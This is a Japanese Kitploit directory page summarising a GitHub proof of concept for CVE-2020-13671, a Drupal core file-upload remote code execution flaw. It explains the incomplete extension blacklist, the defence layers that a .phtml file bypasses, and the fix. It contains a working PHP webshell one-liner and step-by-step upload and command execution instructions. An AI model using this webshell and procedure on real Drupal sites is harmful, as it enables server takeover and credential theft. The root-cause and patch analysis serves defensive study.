Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-13671 — CVE-2020-13671(ファイルアップロードを介したDrupalコアのリモートコード実行の脆弱性)の詳細な分析と概念実証(PoC)。根本原因、悪用手順、および修復方法を含みます。 | Kitploit
ツール/GitHubGitHub/dungsocool/cve-2020-13671
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubdungsocool/cve-2020-13671

CVE-2020-13671

CVE-2020-13671(ファイルアップロードを介したDrupalコアのリモートコード実行の脆弱性)の詳細な分析と概念実証(PoC)。根本原因、悪用手順、および修復方法を含みます。

リポジトリを見る
3日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-13671

ファイルアップロードによるRCE — Drupalコア

ソフトウェア: Drupal Core 8.7.5 (影響を受けるバージョン: 7.x < 7.78、8.x < 8.8.11、8.9.x < 8.9.9、9.0.x < 9.0.8)
CVSS: 8.8 (高)
CWE: CWE-434 — 危険なタイプのファイルの無制限アップロード
CISA KEV: 対象 — 既知の悪用済み脆弱性
Advisory: SA-CORE-2020-012


Drupalとは

DrupalはPHPで書かれたオープンソースのコンテンツ管理システム(CMS)で、WordPressやJoomlaに似ていますが、エンタープライズ向けWebサイトや多言語プラットフォームなど、より複雑なシステムの構築に向いています。Drupalはモジュール式アーキテクチャを採用しており、利用可能なモジュールの有効化・無効化や、コミュニティ製の追加モジュールのインストールによって機能を拡張できます。

あらゆるCMSの基本機能の1つは、ユーザーによるファイルのアップロードです(プロフィール画像、添付ドキュメント、記事への添付ファイルなど)。Drupalはこれらのファイルをsites/default/files/ディレクトリに保存し、Webサーバー(ApacheまたはNginx)経由で直接配信します。

⇒ これは明確な攻撃対象領域を生み出します。攻撃者がそのディレクトリにPHPファイルをアップロードできた場合、Webサーバーは受信リクエスト経由でアクセスされたときにそのファイルを実行します。

これを防ぐため、Drupalは複数の防御レイヤーを構築しています。ファイル拡張子の検証、危険なファイルのリネーム、アップロードディレクトリでのスクリプト実行をブロックする.htaccessの配置です。しかしバージョン8.7.5では、攻撃者はこれらのレイヤーを横断するまさにその盲点を悪用します。

悪用条件

この脆弱性を悪用するには、ファイルアップロード権限を持つアカウントが必要です。Drupal 8.7.5のデフォルトでは、通常ユーザー(認証済み)はコンテンツの閲覧とコメント投稿の権限しか持っておらず、記事の作成やファイルのアップロードの権限はありません。

アカウント悪用可能?説明
管理者 (Admin)可能完全なアップロード権限
編集者 / コンテンツ作成者可能管理者によって「コンテンツ作成」権限とアップロード権限が付与されている場合
認証済みユーザー(デフォルト)不可デフォルトではコンテンツ作成やアップロードの権限なし
匿名ユーザー(未ログイン)不可アップロード権限なし

ただし実際には、多くのDrupalサイトでは通常ユーザーにコンテンツ作成権限を付与しています(フォーラム、コミュニティブログ、記事投稿を許可するニュースサイトなど)。そのような場合、攻撃者はアカウントを登録するだけで悪用できます。

攻撃フロー:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

根本原因 ( ROOT CAUSE )

core/modules/file/file.moduleファイルには、どのファイルが実行可能と見なされるかを決定する単一の正規表現があります。

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

この正規表現は7つの拡張子(phar、php、pl、py、cgi、asp、js)を列挙しています。このリストに一致する拡張子を持つファイルは、Drupalによって自動的に.txtが付加され、実行能力が無効化されます。

ただし、PHPエンジンは.phpファイルだけを処理するわけではありません。Webサーバーの設定によっては、他の拡張子も認識・実行します。

拡張子意味正規表現に含まれる?
.phpPHP標準あり
.phtmlPHP代替テンプレートなし
.php5PHP 5ハンドラーなし
.phtPHPテンプレートなし
.phpsPHPソースなし
.shtmlServer-Side Includes(SSI)なし

5つのPHP拡張子バリアントが正規表現から完全に欠落しています。つまり、shell.phtmlという名前のファイルがDrupalに送信されると → 正規表現が一致しない → リネームされない → 元の名前のままアップロードディレクトリに保存される → Webサーバーが.phtmlを認識 → PHPとして実行 → 攻撃者がRCEを達成します。これが根本原因です:Drupalは危険な拡張子をブロックするためにブラックリストを使用していましたが、そのリストは不完全でした。

各防御レイヤーの分析

ユーザーがファイルをアップロードすると、Drupalは保存前に3つの検証関数を通過させます。以下は、.phtmlによって3つすべてがなぜ失敗するかの分析です。

レイヤー1 — file_munge_filename() (core/includes/file.inc)

目的:ファイル名の中央に位置する危険な拡張子を検出し、_を付加して無効化すること。関数の動作:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

例えばshell.phtmlの場合:

  • explodeは["shell", "phtml"]に分割
  • shiftは"shell"を取り出し、["phtml"]が残る
  • popは"phtml"を取り出し、[]が残る
  • 中央の配列は空 → foreachは実行されない
  • "shell.phtml"がそのまま返される

ただし、ファイルが単一の拡張子しか持たない場合、この関数は介入しません。つまり、この関数は複数の拡張子を持つファイルのみを処理するように設計されています。

レイヤー2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

これが主要な防御レイヤーです。1015行目のコード:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

ファイル名が正規表現に一致する場合 → MIMEをtext/plainに変更し、末尾に.txtを付加します。

shell.phtmlの場合:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml')は0を返す
  • 一致しない → ifブロックに入らない → ファイルは元の名前のまま したがって、このセクションは危険なファイルをブロックするはずでしたが、正規表現が.phtmlの危険性を認識していないため、そのまま通過してしまいます。

レイヤー3 — アップロードディレクトリ内の.htaccess

Drupalはsites/default/files/に.htaccessファイルを配置します:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

php_flag engine offディレクティブはディレクトリ全体のPHPエンジンをオフにしますが、これはmod_php5にのみ適用されます。Drupal 8.7.5はPHP 7で動作するため、mod_php7が有効であり、無効化されていません。

また、.htaccessには他にも3つの弱点があります:

  • Nginxは.htaccessを読み取らない — このファイルはNginxでは完全に効果がありません
  • **AllowOverride None**で設定されたApache → .htaccessは無視されます
  • mod_phpの代わりにPHP-FPMを使用するサーバー → php_flagディレクティブは効果がありません

悪用

ステップ1 — Webシェルを作成

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

ステップ2 — ファイルをアップロード

アップロード権限を持つアカウントでDrupalにログイン → コンテンツ → コンテンツを追加 → 記事(Article)→ 画像フィールドでwebshell.phtmlファイルを選択 → アップロード。

Drupalはファイルを受け入れ、リネームせず、元の名前のままsites/default/files/に保存します。

image.png

ステップ3 — Webシェルを実行

その後、whoamiでシェル呼び出しを実行します:

image.png

このようにして、www-dataとしてRCEを達成しました。

さらに認証情報を表示するテスト:

image.png

結果

攻撃者はデータベース認証情報を含むsettings.phpを読み取り、DB全体をダンプし、リバースシェルを仕掛け、rootへの権限昇格を行うことができます。

修正・対策

正規表現を更新 — 欠落している5つの拡張子を追加:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

.htaccessを更新 — mod_php7の無効化を追加:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

このパッチは機能しますが、依然としてブラックリストに依存しています。将来新しい拡張子が登場した場合(.php8、.phptなど)、正規表現を再度更新する必要があります。既知の安全な拡張子のみを許可するホワイトリスト方式の方が、より徹底したアプローチです。

まとめ

脆弱なファイルcore/modules/file/file.module 28行目
根本原因正規表現のブラックリストに.phtml、.php5、.pht、.phps、.shtmlが欠落
影響.phtmlをアップロード → サーバーが実行 → RCE
迂回された3つの防御レイヤーfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
パッチ正規表現に5つの拡張子を追加 + .htaccessでmod_php7を無効化
ツールをダウンロード